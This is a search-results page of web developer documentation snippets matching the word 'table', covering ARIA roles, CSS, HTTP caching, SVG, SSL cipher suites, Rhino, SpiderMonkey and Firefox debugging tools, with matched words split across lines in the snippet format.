table-style grouping of information.aria: heading rolethe heading role defines this element as a heading to a page or section. to give the page more structure, a level should also be provided to indicate relationships between sections.aria: img rolethe aria img role can be used to identify multiple elements inside page content that should be considered as a single image. these elements could be images,...
...rea in the document that the author has identified as significant. it is used to provide a generic landmark for people to be able to navigate to easily when none of the other landmark roles are appropriate.aria: row rolean element with role="row" is a row of cells within a tabular structure. ...
...of cells within a tabular structure. a row contains one or more cells, grid cells or column headers, and possibly a row header, within a grid,
table or treegrid, and optionally within a rowgroup.aria: rowgroup rolean element with role="rowgroup" is a group of rows within a tabular structure. a rowgroup contains one or more rows of cells, grid cells, column headers, or row headers within a grid,
table or treegrid.aria: search rolethe search landmark role is used to identify a section of the page used to search the page, site, or collection of sites.aria: suggestion rolethe suggestion landmark role semantically denotes a single proposed change to an edi
table document. this should be used on an element that wraps an element with an insertion role, and one with a deletion role.aria: switch roleth...
...And 4 more matches
Accessibility documentation index - Accessibility
bug (browser or at). 5 aria annotations aria, accessibility, wai-aria, annotations, comments, details, suggestions wai-aria version 1.3 sees the addition of a set of new features, collectively known as aria annotations, which allow the creation of accessible annotations inside web documents. typical use cases include edit suggestions (i.e. an addition and/or deletion in an edi
table document), and comments (e.g. an editorial comment related to a part of a document under review). 6 aria guides aria accessible rich internet applications (aria) defines ways to make the web more accessible to people with disabilities. a few guidelines to follow that ensure better accessibility, like using drag and drop for placement of the widgets. 7 aria live reg...
...entify an area in the document that the author has identified as significant. it is used to provide a generic landmark for people to be able to navigate to easily when none of the other landmark roles are appropriate. 50 aria: suggestion role aria, aria role, reference, annotations, suggestion the suggestion landmark role semantically denotes a single proposed change to an edi
table document. this should be used on an element that wraps an element with an insertion role, and one with a deletion role. 51 aria: alert role aria, aria role, aria alert, aria widget, reference the alert role can be used to tell the user an element has been dynamically updated. screen readers will instantly start reading out the updated content when the role is added. if the us...
... aria button, accessibility, button role, reference the button role should be used for clickable elements that trigger a response when activated by the user. adding role="button" will make an element appear as a button control to a screen reader. this role can be used in combination with the aria-pressed attribute to create toggle buttons. 56 aria: cell role aria, html, cell,
table the cell value of the aria role attribute identifies an element as being a cell in a tabular container that does not contain column or row header information. to be supported, the cell must be nested in an element with the role of row. 57 aria: checkbox role aria, accessibility, needscontent, role(2), rôle the checkbox role is used for checkable interactive controls. e...
...And 4 more matches
writing-mode - CSS: Cascading Style Sheets
rl deprecated except for svg1 documents. for css, use horizontal-tb instead. tb deprecated except for svg1 documents. for css, use vertical-lr instead. tb-lr deprecated except for svg1 documents. for css, use vertical-lr instead. tb-rl deprecated except for svg1 documents. for css, use vertical-rl instead. ...
...xcept for svg1 documents. for css, use horizontal-tb instead. tb deprecated except for svg1 documents. for css, use vertical-lr instead. tb-lr deprecated except for svg1 documents. for css, use vertical-lr instead. tb-rl deprecated except for svg1 documents. for css, use vertical-rl instead. ...
...nts. for css, use horizontal-tb instead. tb deprecated except for svg1 documents. for css, use vertical-lr instead. tb-lr deprecated except for svg1 documents. for css, use vertical-lr instead. tb-rl deprecated except for svg1 documents. for css, use vertical-rl instead. ...
...And 4 more matches
<col> - HTML: Hypertext Markup Language
it is generally found within a <colgroup> element. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. <col> allows styling columns using css, but only a few properties will have an effect on the column (see the css 2.1 specification for a list). content categories none. permitted content none, it is an empty element. tag omission it must have start tag, but must not have an end tag. ...
... is an empty element. tag omission it must have start tag, but must not have an end tag. permitted parents <colgroup> only, though it can be implicitly defined as its start tag is not mandatory. the <colgroup> must not have a span attribute. implicit aria role no corresponding role permitted aria roles no role permitted dom interface html
tablecolelement attributes this element includes the global attributes. span this attribute contains a positive integer indicating the number of consecutive columns the <col> element spans. if not present, its default value is 1. deprecated attributes the following attributes are deprecated and should not be used. they are documented below for reference when updating existing code and fo...
...herited from the align of the <colgroup> element this <col> element belongs too. if there are none, the left value is assumed. note: to achieve the same effect as the left, center, right or justify values: do not try to set the text-align property on a selector giving a <col> element. because <td> elements are not descendant of the <col> element, they won't inherit it. if the
table doesn't use a colspan attribute, use the td:nth-child(an+b) css selector. set a to zero and b to the position of the column in the
table, e.g. td:nth-child(2) { text-align: right; } to right-align the second column. if the
table does use a colspan attribute, the effect can be achieved by combining adequate css attribute selectors like [colspan=n], though this is not trivial. bgc...
...And 4 more matches
Cache-Control - HTTP
control: must-revalidate cache-control: no-cache cache-control: no-store cache-control: no-transform cache-control: public cache-control: private cache-control: proxy-revalidate cache-control: max-age=<seconds> cache-control: s-maxage=<seconds> extension cache-control directives extension cache-control directives are not part of the core http caching standards document. ...
...che-control: public cache-control: private cache-control: proxy-revalidate cache-control: max-age=<seconds> cache-control: s-maxage=<seconds> extension cache-control directives extension cache-control directives are not part of the core http caching standards document. check the compatibility
table for their support; user-agents that don't recognize them should ignore them. ...
...e the response in any cache, use no-store instead. this directive is not effective in preventing caches from storing your response. no-cache the response may be stored by any cache, even if the response is normally non-cacheable. however, the stored response must always go through validation with the origin server first before using it, therefore, you cannot use no-cache in-conjunction with immu
table. if you mean to not store the response in any cache, use no-store instead. this directive is not effective in preventing caches from storing your response. no-store the response may not be stored in any cache. although other directives may be set, this alone is the only directive you need in preventing cached responses on modern browsers. max-age=0 is already implied. setting must-revalidate do...
...And 4 more matches
JavaScript data types and data structures - JavaScript
valuable purpose of typeof operator usage is checking the data type. if we wish to check any structural type derived from object it is pointless to use typeof for that, as we will always receive "object". the indeed proper way to check what sort of object we are using is instanceof keyword. but even in that case there might be misconceptions. primitive values all types except objects define immu
table values (that is, values which can't be changed). for example (and unlike in c), strings are immu
table. we refer to values of these types as "primitive values". boolean type boolean represents a logical entity and can have two values: true and false. see boolean and boolean for more details. null type the null type has exactly one value: null. see null and null for more details. undefined typ...
...hrown. string type javascript's string type is used to represent textual data. it is a set of "elements" of 16-bit unsigned integer values. each element in the string occupies a position in the string. the first element is at index 0, the next at index 1, and so on. the length of a string is the number of elements in it. unlike some programming languages (such as c), javascript strings are immu
table. this means that once a string is created, it is not possible to modify it. however, it is still possible to create another string based on an operation on the original string. for example: a substring of the original by picking individual letters or using string.substr(). a concatenation of two strings using the concatenation operator (+) or string.concat(). beware of "stringly-typing" yo...
...e the common denominator of a lot of apis (input fields, local storage values, xmlhttprequest responses when using responsetext, etc.) and it can be tempting to only work with strings. with conventions, it is possible to represent any data structure in a string. this does not make it a good idea. ...
...And 4 more matches
Equality comparisons and sameness - JavaScript
its behavior is equivalent to +a (the unary + operator). toprimitive(a) attempts to convert its object argument to a primitive value, by attempting to invoke varying sequences of a.tostring and a.valueof methods on a. traditionally, and according to ecmascript, all objects are loosely unequal to undefined and null. but ...
...arison using strict equality is easier to predict, and may evaluate more quickly due to the lack of type coercion. same-value equality same-value equality addresses a final use case: determining whether two values are functionally identical in all contexts. ...
... easier to predict, and may evaluate more quickly due to the lack of type coercion. same-value equality same-value equality addresses a final use case: determining whether two values are functionally identical in all contexts. ...
...And 4 more matches
WebAssembly.Global() constructor - JavaScript
by default, this is false. ...
...by default, this is false. ...
...by default, this is false. value the value the variable contains. this can be any value, as long as its type matches the variable's data type. if no value is specified, a typed 0 value is used, as specified by the defaultvalue algorithm. ...
...And 4 more matches
Codecs used by WebRTC - Web media technologies
of 320 pixels wide by 240 pixels tall. it's encouraged that video be encoded at a frame rate and size no lower than that, since that's essentially the lower bound of what webrtc generally is expected to handle. sdp supports a codec-independent way to specify preferred video resolutions (rfc 6236. this is done by sending an a=imageattr sdp attribute to indicate the maximum resolution that is accep
table. the sender is not required to support this mechanism, however, so you have to be prepared to receive media at a different resolution than you requested. beyond this simple maximum resolution request, specific codecs may offer further ways to ask for specific media configurations. supported video codecs webrtc establishes a baseline set of codecs which all compliant browsers are required to sup...
...and so on. note: these requirements are for web browsers and other fully-webrtc compliant products. non-webrtc products that are able to communicate with webrtc to some extent may or may not support these codecs, although they're encouraged to by the specification documents. in addition to the mandatory codecs, some browsers support additional codecs as well. those are listed in the following
table. other video codecs codec name profile(s) browser compatibility vp9 — chrome (48+), firefox vp8 vp8, which we describe in general in the main guide to video codecs used on the web, has some specific requirements that must be followed when using it to encode or decode a video track on a webrtc connection. unless signaled otherwise, vp8 will use square...
...webrtc is described in rfc 6184: rtp payload format for h.264 video. avc implementations for webrtc are required to support the special "filler payload" and "full frame freeze" sei messages; these are used to support switching among multiple input streams seamlessly. supported audio codecs the audio codecs which rfc 7874 mandates that all webrtc-compatible browsers must support are shown in the
table below. mandatory audio codecs codec name browser compatibility opus chrome, edge, firefox, safari g.711 pcm (a-law) chrome, firefox, safari g.711 pcm (µ-law) chrome, firefox, safari see below for more details about any webrtc-specific considerations that exist for each codec listed above. it's useful to note that rfc 7874 defines more...
...And 4 more matches
<a> - SVG: Scalable Vector Graphics
; } since this element shares its tag name with html's <a> element, selecting a with css or queryselector may apply to the wrong kind of element. try the @namespace rule to distinguish the two. attributes download instructs browsers to download a url instead of navigating to it, so the user will be prompted to save it as a local file. ...
...y apply to the wrong kind of element. try the @namespace rule to distinguish the two. attributes download instructs browsers to download a url instead of navigating to it, so the user will be prompted to save it as a local file. value type: <string> ; default value: none; anima
table: no href the url or url fragment the hyperlink points to. value type: <url> ; default value: none; anima
table: yes hreflang the human language of the url or url fragment that the hyperlink points to. value type: <string> ; default value: none; anima
table: yes ping a space-separated list of urls to which, when the hyperlink is followed, post requests with the body ping will be sent by the browser (in the background). typically used for tracking. for a more widely-supported feature addressing the sa...
...e type: <string> ; default value: none; anima
table: yes ping a space-separated list of urls to which, when the hyperlink is followed, post requests with the body ping will be sent by the browser (in the background). typically used for tracking. for a more widely-supported feature addressing the same use cases, see navigator.sendbeacon(). value type: <list-of-urls> ; default value: none; anima
table: no referrerpolicy which referrer to send when fetching the url. value type: no-referrer|no-referrer-when-downgrade|same-origin|origin|strict-origin|origin-when-cross-origin|strict-origin-when-cross-origin|unsafe-url ; default value: none; anima
table: no rel the relationship of the target object to the link object. ...
...And 4 more matches
<svg> - SVG: Scalable Vector Graphics
" xmlns="http://www.w3.org/2000/svg" stroke="red" fill="grey"> <circle cx="50" cy="50" r="40" /> <circle cx="150" cy="50" r="4" /> <svg viewbox="0 0 10 10" x="200" width="100"> <circle cx="5" cy="5" r="4" /> </svg> </svg> attributes baseprofile deprecated since svg 2 the minimum svg language profile that the document requires. ...
...100"> <circle cx="5" cy="5" r="4" /> </svg> </svg> attributes baseprofile deprecated since svg 2 the minimum svg language profile that the document requires. value type: <string> ; default value: none; anima
table: no contentscripttype deprecated since svg 2 the default scripting language used by the svg fragment. value type: <string> ; default value: application/ecmascript; anima
table: no contentstyletype deprecated since svg 2 the default style sheet language used by the svg fragment. ...
...uires. value type: <string> ; default value: none; anima
table: no contentscripttype deprecated since svg 2 the default scripting language used by the svg fragment. value type: <string> ; default value: application/ecmascript; anima
table: no contentstyletype deprecated since svg 2 the default style sheet language used by the svg fragment. value type: <string> ; default value: text/css; anima
table: no height the displayed height of the rectangular viewport. (not the height of its coordinate system.) value type: <length>|<percentage> ; default value: auto; anima
table: yes preserveaspectratio how the svg fragment must be deformed if it is displayed with a different aspect ratio. value type: (none| xminymin| xmidymin| xmaxymin| xminymid| xmidymid| xmaxymid| xminymax| xmidymax| xmaxymax)...
...And 4 more matches
Chapter 4: Using XPCOM—Implementing advanced processes - Archive of obsolete content
using constant properties—to create a normal file, use normal_file_type, to create a folder use directory_type. the second parameter gives the access privileges to that file using unix-style octal values. note: windows ignores the privileges parameter; other platforms may do so as well. ...
...tant properties—to create a normal file, use normal_file_type, to create a folder use directory_type. the second parameter gives the access privileges to that file using unix-style octal values. note: windows ignores the privileges parameter; other platforms may do so as well. the nsilocalfile object includes methods that return virtual state values for the current file, as shown in
table 1. ...
... nsilocalfile.ishidden() determines whether or not the file is hidden. nsilocalfile.isdirectory() determines whether or not the reference is to a directory. nsilocalfile.isfile() determines whether or not the reference is to a file. ...
...And 3 more matches
The Download Manager schema - Archive of obsolete content
name text the download's file name. source text the source uri for the download. ...
... name text the download's file name. source text the source uri for the download. ...
... name text the download's file name. source text the source uri for the download. ...
...And 3 more matches
Install script template - Archive of obsolete content
tall location for other browsers to find. ...
... var plid = "@myplugin.com/myplugin,versio...
...when we try and do a secondary installation var errblock2 = 0; // global variable containing our secondary install location var secondaryfolder; //special error values used by the cycore developers (www.cycore.com) who helped make this install script var exceptionoccurederror = -4711; var winregisnullerror = -4712; var invalidrootkeyerror = -4713; var registrykeynotwri
tableerror = -4714; //initinstall block //the installation is initialized here -- if we fail here, cancel the installation // initinstall is quite an overloaded method, but i have invoked it here with three strings // which are globally defined err = initinstall(software_name, plid, version); if (err != 0) { // call initinstall again in case illegal characters in plid err = initinstall(softwar...
...And 3 more matches
iframe - Archive of obsolete content
. this can be a serious security vulnerability, for example if you use src="http://...". when used in this case, please see displaying web content in an extension without security issues. more information is available in the xul tutorial. ...
...y vulnerability, for example if you use src="http://...". when used in this case, please see displaying web content in an extension without security issues. more information is available in the xul tutorial. ...
...ty, for example if you use src="http://...". when used in this case, please see displaying web content in an extension without security issues. more information is available in the xul tutorial. ...
...And 3 more matches
treecol - Archive of obsolete content
mn of a tree. it displays the column header and holds the size and other information about the column. you can also place splitter elements between the columns to allow column resizing. you should always place an id attribute on a treecol element to ensure that the column positioning is handled properly. more information is available in the xul tutorial. ...
...properly. more information is available in the xul tutorial. attributes crop, cycler, dragging, edi
table, fixed, hidden, hideheader, ignoreincolumnpicker, label, primary, sort, sortactive, sortdirection, src, type, width properties accessibletype style classes treecol-image examples this example shows a checkbox in the first column, requires the style below. ...
... crop, cycler, dragging, edi
table, fixed, hidden, hideheader, ignoreincolumnpicker, label, primary, sort, sortactive, sortdirection, src, type, width properties accessibletype style classes treecol-image examples this example shows a checkbox in the first column, requires the style below. ...
...And 3 more matches
Introduction to SSL - Archive of obsolete content
rotocol supports the use of a variety of different cryptographic algorithms, or ciphers, for use in operations such as authenticating the server and client to each other, transmitting certificates, and establishing session keys. clients and servers may support different cipher suites, or sets of ciphers, depending on factors such as the version of ssl they support, company policies regarding accep
table encryption strength, and government restrictions on export of ssl-enabled software. among its other functions, the ssl handshake protocol determines how the server and client negotiate which cipher suites they will use to authenticate each other, to transmit certificates, and to establish session keys. key-exchange algorithms like kea and rsa key exchange govern the way in which the server and c...
...cipher suites supported by the ssl protocol that use the rsa key-exchange algorithm strength category and recommended use c...
...128-bit encryption and md5 message authentication rc4 with 40-bit encryption and md5 message authentication rc2 with 40-bit encryption and md5 message authentication no encryption, md5 message authentication only cipher suites with rsa key exchange
table 1 lists the cipher suites supported by ssl that use the rsa key-exchange algorithm. unless otherwise indicated, all ciphers listed in the
table are supported by both ssl 2.0 and ssl 3.0. cipher suites are listed from strongest to weakest.
table 1. cipher suites supported by the ssl protocol that use the rsa key-exchange algorithm strength category and recommended use cipher suites strongest cipher suite permitted for deployments within the united states only. this cipher suite is appropriate for b...
...And 3 more matches
Getting started with HTML - Learn web development
t the closing tag </em> at the end of the line. doing this should give the line italic text formatting! see your changes update live in the output area. if you make a mistake, you can clear your work using the reset button. if you get really stuck, press the show solution button to see the answer. playable code <h2>live output</h2> <div class="output" style="min-height: 50px;"> </div> <h2>edi
table code</h2> <p class="a11y-label">press esc to move focus away from the code area (tab inserts a tab character).</p> <textarea id="code" class="playable-code" style="min-height: 100px;width: 95%"> this is my text. </textarea> <div class="controls"> <input id="reset" type="button" value="reset" /> <input id="solution" type="button" value="show solution" /> </div> html { font-family: 'ope...
...d, navigates to the web address in the href attribute. remember that you need to include a space between the element name, and between each attribute. if you make a mistake, you can always reset it using the reset button. if you get really stuck, press the show solution button to see the answer. ...
...ion(){ // we only want to save the state when the user code is being shown, // not the solution, so that solution is not saved over the user code if(solution.value === 'show solution') { userentry = textarea.value; } else { solutionentry = textarea.value; } updatecode(); }; boolean attributes sometimes you will see attributes written without values. this is entirely accep
table. these are called boolean attributes. boolean attributes can only have one value, which is generally the same as the attribute name. for example, consider the disabled attribute, which you can assign to form input elements. (you use this to disable the form input elements so the user can't make entries. the disabled elements typically have a grayed-out appearance.) for example: <input type="text...
...And 3 more matches
Debugging on Mac OS X
y hitting cmd-shift-o and typing in the name of a file.) in the product menu, select scheme > new scheme and name your scheme (for example, "debug"). after you click ok, xcode should open the settings window for the new scheme. (if not, then open its settings from the product > edit scheme menu.) select "run" on the left-hand side of the settings window, then select the "info" tab. set the execu
table by clicking on "none" and selecting "other...". a new dialog titled "choose an execu
table to launch" will pop up. browse to the .app file that you want to debug (firefox.app, nightlydebug.app etc). the .app file is typically found inside the dist folder in your build directory. if you are debugging firefox, thunderbird, or some other application that supports multiple profiles, using a separate ...
...le you created previously. repeat that to also add the argument "-no-remote". also in the "arguments" panel, you may want to add an environment variable moz_debug_child_process set to the value 1 to help with debugging e10s. select "build" from the left of the scheme editor window, and check that there is nothing listed under targets (otherwise it may cause problems when you try to run the execu
table for debugging since you will get build errors). click "close" to close the scheme editor. at this point you can run the application from xcode, and when you pause or hit breakpoints it should show open the correct source file at the correct line. setting up lldb lldb is the debugger xcode provides/uses. one important issue that the mozilla .lldbinit file fixes is that by default some break...
...ormatters, commands etc. that are added may not be immediately available. # breakpoint set --name nsthread::processnextevent --thread-index 1 --auto-continue true --one-shot true breakpoint command add -s python # this script that we run does not work if we try to use the global 'lldb' # object, since it is out of date at the time that the script runs (for # example, `lldb.target.execu
table.fullpath` is empty). therefore we must # get the following objects from the 'frame' object. target = frame.getthread().getprocess().gettarget() debugger = target.getdebugger() # delete our breakpoint (not actually necessary with `--one-shot true`): target.breakpointdelete(bp_loc.getbreakpoint().getid()) # for completeness, find and delete the dummy breakpoint (the break...
...And 3 more matches
How Mozilla's build system works
itten in m4 and processed using autoconf 2.13 to create the final configure script. you don't have to worry about how you obtain a configure file: the build system does this for you. the primary job of configure is to determine characteristics of the system and compiler, apply options passed into it, and validate everything looks ok to build. the primary output of the configure script is an execu
table file in the object directory called config.status. configure also produces some additional files (like autoconf.mk). however, the most important file in terms of architecture is config.status. the existence of a config.status file may be familiar to those who have worked with autoconf before. however, mozilla's config.status is different from many other config.status files, as it's written in py...
...ere are makefiles in each directory. make starts processing the makefile in the root directory and then recursively descends into child directories until it's done. but there's more to the process than that. the recursive make backend divides the source tree into tiers. a tier is a grouping of related directories containing makefiles of their own. for example, there is a tier for the netscape por
table runtime (nspr), one for the javascript engine, one for the core gecko platform, one for the xul app being built, and so on. the main moz.build file defines the tiers and directories in the tiers. in reality, the main moz.build files include other moz.build files, such as /toolkit/toolkit.mozbuild, which define the tiers. they do this via the add_tier_dir() function. at build time, the tiers are...
...instances as well as common hook points, such as processing has finished. see recursivemake.py for an implementation of a buildbackend. although we call the base class buildbackend, the class doesn't need to be focused with building at all. if you wanted to create a consumer that performed a line count of all c++ files or generated a clang compilation database, for example, this would be an accep
table use of a buildbackend. technically, we don't need to feed the treemetadataemitter output into a buildbackend: it's possible to create your own consumer. however, a buildbackend provides a common framework from which to author consumers. along the same vein, you don't need to use treemetadataemitter to consume mozbuildsandbox instances. nor do you need to use buildreader to traverse the moz.build...
...And 3 more matches
IME handling guide
nted with selection in the editor. from chrome script, you can check it with nsiselectioncontroller. in native code, you can access it with either nsiselectioncontroller or mozilla::selectiontype (the latter is recommended because of type safer). and editor sets these ime selections from mozilla::textrangetype which are sent by mozilla::widgetcompositionevent as mozilla::textrangearray. following
table explains the mapping between them. selection types of each clause of composition string or caret nsiselectioncontroller mozilla::selectiontype mozilla::textrangetype caret selection_normal enormal ecaret raw text typed by the user selection_ime_raw_input eimerawclause erawclause selected clause of raw text typed by the user ...
...ring. the mdata value should be always be an empty string. this causes a dom text event without clause information and a dom compositionend event. ecompositioncommit this is used internally only. this is dispatched when a composition is committed with specific string. the mdata value is the commit string. this causes a dom text event without clause information and a dom compositionend event. ...
...e of above notifications causes higher priority notification, the sender should abort to send remaning notifications and restart from highet priority notification again. additionally, all notifications except notify_ime_of_blur should be sent only when it's safe to run script since the notification may cause querying content and/or dispatching composition events. notify_ime_of_focus when an edi
table editor gets focus and imecontentobserver starts to observe it, this is sent to widget. this must be called after the previous imecontentobserver notified widget of notify_ime_of_blur. note that even if there are pending notifications, they are canceled when notify_ime_of_focus is sent since querying content with following notifications immediately after getting focus does not make sense. the res...
...And 3 more matches
Basics
other browser operations such as the zoom (try view -> text zoom), and you can do links a 2 + b 2 = c 2 , apply stylistic effects a 2 + b 2 = c 2 , or use color a 2 + b 2 = c 2 in very strange ways p(x) q(x) = a0 + a1x + a2 x2 + ... + an-1 xn-1 b0 + b1x + b2 x2 + ... + bn-1 xn-1 . you can also do other weird and risky things which are not por
table, bongo warns, such as mixing mathml with other markups lizard + bongo = ∫ a b d x + mathml and javascript html content <p> and you can turn to javascript and the dom for dynamic operations. </p> <div style="text-align:center"> fill the gaps in this matrix with resizable input fields. </div> <math class="inputmath" display="block"> <mrow> <mi>a</mi> <mo>=</mo> <mo>[<...
... warns, such as mixing mathml with other markups lizard + bongo = ∫ a b d x + mathml and javascript html content <p> and you can turn to javascript and the dom for dynamic operations. </p> <div style="text-align:center"> fill the gaps in this matrix with resizable input fields. ...
... <div style="text-align:center"> fill the gaps in this matrix with resizable input fields. ...
...And 3 more matches
DMD
can send signal 34 to the firefox process, e.g. with the following command. $ killall -34 firefox each one of these steps triggers all the memory reporters and then dmd analyzes the reports, printing commentary like this: dmd[5222] opened /tmp/dmd-1414556492-5222.json.gz for writing dmd[5222] dump 1 { dmd[5222] constructing the heap block list... dmd[5222] constructing the stack trace
table... dmd[5222] constructing the stack frame
table... dmd[5222] } in an e10s-enabled build, you'll see separate output for each process. this step can take 10 or more seconds and may make firefox freeze temporarily. if you see the "opened" line, it tells you where the file was saved. it's always in a temp directory, and the filenames are always of the form dmd-<pid>. desktop firefox (mac) bui...
... build build with these options: ac_add_options --enable-dmd prep in order to prepare your device for running fennec with dmd enabled, you will need to do a few things. first, you will need to push the libdmd.so library to the device so that it can by dynamically loaded by fennec. you can do this by running: adb push $objdir/dist/bin/libdmd.so /sdcard/ second, you will need to make an execu
table wrapper for fennec which sets an environment variable before launching it. (if you are familiar with the recommended "--es env0" method for setting environment variables when launching fennec, note that you cannot use this method here because those are processed too late in the startup process. if you are not familiar with that method, you can ignore this parenthetical note.) first make the execu...
... wrapper for fennec which sets an environment variable before launching it. (if you are familiar with the recommended "--es env0" method for setting environment variables when launching fennec, note that you cannot use this method here because those are processed too late in the startup process. if you are not familiar with that method, you can ignore this parenthetical note.) first make the execu
table wrapper on your host machine using the editor of your choice. name the file dmd_fennec and enter this as the contents: #!/system/bin/sh export moz_replace_malloc_lib=/sdcard/libdmd.so exec "$@" if you want to use other dmd options, you can enter additional environment variables above. you will need to push this to the device and make it execu
table. since you cannot mark files in /sdcard/ as ex...
...And 3 more matches
PLHashEnumerator
index, void *arg); /* return value */ #define ht_enumerate_next 0 /* continue enumerating entries */ #define ht_enumerate_stop 1 /* stop enumerating entries */ #define ht_enumerate_remove 2 /* remove and free the current entry */ #define ht_enumerate_unhash 4 /* just unhash the current entry */ description plhashenumerator is a function type used in the enumerating a hash
table. ...
... /* return value */ #define ht_enumerate_next 0 /* continue enumerating entries */ #define ht_enumerate_stop 1 /* stop enumerating entries */ #define ht_enumerate_remove 2 /* remove and free the current entry */ #define ht_enumerate_unhash 4 /* just unhash the current entry */ description plhashenumerator is a function type used in the enumerating a hash
table. ...
...1 /* stop enumerating entries */ #define ht_enumerate_remove 2 /* remove and free the current entry */ #define ht_enumerate_unhash 4 /* just unhash the current entry */ description plhashenumerator is a function type used in the enumerating a hash
table. when all the
table entries are enumerated, each entry is passed to a user-specified function of type plhashenumerator with the hash
table entry, an integer index, and an arbitrary piece of user data as argument. remark the meaning of ht_enumerate_unhash is not clear. ...
...And 3 more matches
Rhino Debugger
rhino javascript debugger can debug scripts running in multiple threads and provides facilities to set and clear breakpoints, control execution, view variables, and evaluate arbitrary javascript code in the current scope of an executing script. console window the debugger redirects the system.out, system.in, and system.err streams to an internal javascript console window which provides an edi
table command line for you to enter javascript code and view system output. the console window maintains a history of the commands you have entered. you may move backward and forward through the history list by pressing the up/down arrow keys on the keyboard. opening scripts you may select the file->open menu item on the menu bar to load javascript scripts contained in files. this action will displa...
... you are debugging. you may set a breakpoint in a script by doing one of the following: place the cursor on the line at which you want to set a breakpoint and right-click with the mouse. this action will display a pop-up menu. select the set breakpoint menu item. simply single-click on the line number of the line at which you want to set a breakpoint. if the selected line contains execu
table code a red dot will appear next to the line number and a breakpoint will be set at that location. you may clear breakpoint in a script by doing one of the following: place the cursor on the line at which you want to clear a breakpoint and right-click with the mouse. this action will display a pop-up menu. select the clear breakpoint menu item. simply single-click on the red dot or the l...
...t the clear breakpoint menu item. simply single-click on the red dot or the line number of the line at which you want to clear a breakpoint. the red dot will disappear and the breakpoint at that location will be cleared. viewing variables the lower-left (dockable) pane in the debugger main window contains a tab-pane with two tabs, labeled "this" and "locals". ...
...And 3 more matches
Tutorial: Embedding Rhino
){return x+1} f(7)" 8 note that you'll have to have both the rhino classes and the runscript example class file in the classpath. let's step through the body of main one line at time. entering a context the code context cx = context.enter(); creates and enters a context. a context stores information about the execution environment of a script. initializing standard objects the code scrip
table scope = cx.initstandardobjects(); initializes the standard objects (object, function, etc.) this must be done before scripts can be executed. the null parameter tells initstandardobjects to create and return a scope object that we use in later calls. collecting the arguments this code is standard java and not specific to rhino. it just collects all the arguments and concatenates them together...
...bj = { run: function() { print("hi"); } } [object object] js> obj.run() hi js> r = new java.lang.runnable(obj); [object object] js> t = new java.lang.thread(r) thread[thread-0,5,main] js> t.start() hi adding java objects the next example is runscript2. this is the same as runscript, but with the addition of two extra lines of code: object wrappedout = context.javatojs(system.out, scope); scrip
tableobject.putproperty(scope, "out", wrappedout); these lines add a global variable out that is a javascript reflection of the system.out variable: $ java runscript2 "out.println(42)" 42.0 undefined using javascript objects from java after evaluating a script it's possible to query the scope for variables and functions, extracting values and calling javascript functions. this is illustrated in t...
...e result of calling function f. both x and f are expected to be defined by the evaluated script. for example, $ java runscript3 "x = 7" x = 7 f is undefined or not a function. $ java runscript3 "function f(a) { return a; }" x is not defined. ...
...And 3 more matches
Rhino scopes and contexts
s to properties of javascript objects are atomic across threads, but doesn't make any more guarantees for scripts executing in the same scope at the same time. if two scripts use the same scope simultaneously, the scripts are responsible for coordinating any accesses to shared variables. a top-level scope is created by calling context.initstandardobjects to create all the standard objects: scrip
tableobject scope = cx.initstandardobjects(); the easiest way to embed rhino is just to create a new scope this way whenever you need one. however, initstandardobjects is an expensive method to call and it allocates a fair amount of memory. we'll see below that there are ways to share a scope created this way among multiple scopes and threads. name lookup so how are scopes used to look up names? in...
...ed. so to share information across multiple scopes, we first create the object we wish to share. typically this object will have been created with initstandardobjects and may also have additional objects specific to the embedding. then all we need to do is create a new object and call its setprototypemethod to set the prototype to the shared object, and the parent of the new scope to null: scrip
table newscope = cx.newobject(sharedscope); newscope.setprototype(sharedscope); newscope.setparentscope(null); the call to newobject simply creates a new javascript object with no properties. it uses thesharedscope passed in to initialize the prototype with the standard object.prototype value. we can now use newscope as a scope for calls to evaluate scripts. let's call this scope the instance scope.
...e scopes can be defined and have their own variables for scripts yet share the definitions in the shared scope. these multiple instance scopes can be used concurrently. sealed shared scopes the ecmascript standard defines that scripts can add properties to all standard library objects and in many cases it is also possible to change or delete their properties as well. such behavior may not be sui
table with shared scopes since if a script by mistake adds a property to a library object from the shared scope, that object would not be garbage collected until there are no active references to the shared scope potentially leading to memory leaks. in addition if a script alters some of the standard objects, the library may not work properly for other scripts. such bugs are hard to debug and to remove...
...And 3 more matches
SpiderMonkey Internals
operates on values of type js::value—type-tagged values that represent the full range of javascript values. in addition to the interpreter, spidermonkey contains a just-in-time (jit) compiler, a garbage collector, code implementing the basic behavior of javascript values, a standard library implementing ecma 262-5.1 §15 with various extensions, and a few public apis. interpreter like many por
table interpreters, spidermonkey's interpreter is mainly a single, tremendously long function that steps through the bytecode one instruction at a time, using a switch statement (or faster alternative, depending on the compiler) to jump to the appropriate chunk of code for the current instruction. a js-to-js function call pushes a javascript stack frame without growing the c stack. but since js-to-c-to...
...ontext pointer as their first argument. compiler the compiler consumes javascript source code and produces a script which contains bytecode, source annotations, and a pool of string, number, and identifier literals. the script also contains objects, including any functions defined in the source code, each of which has its own, nested script. the compiler consists of: a random-logic rather than
table-driven lexical scanner, a recursive-descent parser that produces an ast, and a tree-walking code generator. semantic and lexical feedback are used to disambiguate hard cases such as missing semicolons, assignable expressions ("lvalues" in c parlance), and whether / is the division symbol or the start of a regular expression. the compiler attempts no error recovery; it bails out on the first error...
...unboxassembler.h are used to generate native code that depends on the value layout. objects consist of a possibly shared structural description, called the map or scope; and unshared property values in a vector, called the slots. each property has an id, either a nonnegative integer or an atom (unique string), with the same tagged-pointer encoding as a jsval. the atom manager consists of a hash
table associating strings uniquely with scanner/parser information such as keyword type, index in script or function literal pool, etc. atoms play three roles: as literals referred to by unaligned 16-bit immediate bytecode operands, as unique string descriptors for efficient property name hashing, and as members of the root gc set for exact gc. standard library the methods for arrays, booleans, dates...
...And 3 more matches
JS::Evaluate
this article covers features introduced in spidermonkey 17 compile and execute a script. ...
...pidermonkey 17 compile and execute a script. ...
... &options, js::sourcebufferholder &srcbuf, js::mu
tablehandlevalue rval); bool js::evaluate(jscontext *cx, const js::readonlycompileoptions &options, const char16_t *chars, size_t length, js::mu
tablehandlevalue rval); bool js::evaluate(jscontext *cx, const js::readonlycompileoptions &options, const char *bytes, size_t length, js::mu
tablehandlevalue rval); bool js::evaluate(jscontext *cx, const js::readonlycompileoptions &options, const char *filename, js::mu
tablehandlevalue rval); bool js::evaluate(jscontext *cx, js::autoobjectvector &scopechain, const readonlycompileoptions &options, const char16_t *chars, size_t length, js::mu
